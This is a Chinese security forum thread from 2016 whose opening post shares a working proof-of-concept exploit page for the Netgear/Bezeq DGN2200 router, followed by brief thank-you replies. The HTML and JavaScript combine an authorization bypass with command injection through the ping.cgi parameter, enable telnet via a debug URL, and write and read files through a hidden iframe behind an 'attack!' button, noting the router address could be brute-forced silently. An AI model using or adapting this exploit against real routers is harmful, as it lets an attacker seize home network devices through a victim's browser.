查看: 164606|回复: 2270

Netgear路由器(DGN2200)命令执行POC

[复制链接]
  • TA的每日心情

    昨天 16:11
  • 签到天数: 1563 天

    [LV.Master]伴坛终老

    发表于 2016-3-16 14:42:29 | 显示全部楼层 |阅读模式
    [XML] 纯文本查看 复制代码
    <pre>
    Bezeq DGN2200 POC by 0x3d5157636b525761.
    ========================================
    This will create a file on the router - "/tmp/0x3d5157636b525761".
    It will also open your telnetd on your router for you to enjoy (only from LAN).
    You can see the file if you login via telnet.
    This assumes that the router's LAN IPv4 is 10.0.0.138.
    Of course, this could be brute-forced (from a reasonable list) silently.
    Just click on the button below to start the attack.
    After the attack is done, you can try to access the router from within the LAN:
    # telnet 10.0.0.138
    # cat /tmp/0x3d5157636b525761
    Long live my cat, Sushi!
          \    /\
           )  ( ')
          (  /  )
           \(__)|
    </pre>
    <iframe id="elem" width="1" height="1" style="visibility:hidden;display:none"></iframe>
    <script language="javascript">
    var running = false;
    var ip = '10.0.0.138';
    var last_frame = '';
    function clear_frame()
    {
    	// Clear the frame after getting its content
    	var frame = document.getElementById('elem');
    	last_frame = frame.contentDocument || frame.contentWindow.document;
    	frame.src = '';
    	running = false;
    }
    function load_url_clear(url)
    {
    	// Set the frame's URL and asynchroniously clear it
    	running = true;
    	document.getElementById('elem').src = 'http://' + ip + '/' + url;
    	setTimeout(clear_frame, 300);
    }
    function run_cmd(command)
    {
    	// Build the URL and load it
    	// Vulnerabilities used: authorization bypass & command injection
    	var url = 'ping.cgi?IPAddr1=8&IPAddr2=8&IPAddr3=8&IPAddr4=8&ping=Ping&ess_=x&ping_IPAddr=`' + command + '`';
    	load_url_clear(url);
    }
    function read_file(path)
    {
    	// Build the URL and load it
    	// Vulnerabilities used: authorization bypass & command injection
    	var url = 'ping.cgi?IPAddr1=8&IPAddr2=8&IPAddr3=8&IPAddr4=8&ping=Ping&ess_=x&ping_IPAddr=1|echo PING `cat ' + path + '`';
    	load_url_clear(url);
    }
    function wait_for_clear()
    {
    	// Polling
    	while (running) {}
    }
    	
    function poc()
    {
    	// Disable the button
    	document.getElementById('btn').disabled = true;
    	alert(1);
    	
    	// Open telnetd for fun
    	load_url_clear('setup.cgi?todo=debug&ess_=x');
    	wait_for_clear();
    	alert(2);
    	// Write an arbitrary file
    	run_cmd('echo pwned>/tmp/0x3d5157636b525761');
    	wait_for_clear();
    	// Read the file to see it we got it
    	read_file('/tmp/0x3d5157636b525761');
    	wait_for_clear();
    	alert(last_frame);	
    }
    </script>
    <input type="button" id="btn" value="attack!" onClick="poc();">
    回复

    使用道具 举报

    该用户从未签到

    发表于 2016-3-16 18:11:14 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-3-17 12:36:51 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-3-17 19:16:36 | 显示全部楼层
    非常感谢
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-3-17 20:24:56 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-3-18 01:30:39 | 显示全部楼层
    非常感谢
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2022-10-21 10:32
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2016-3-18 13:16:56 | 显示全部楼层
    谢谢楼主的分享
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-3-18 19:57:50 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-3-18 20:17:38 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-3-19 01:16:51 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-5-2 01:40 , Processed in 0.054951 second(s), 14 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部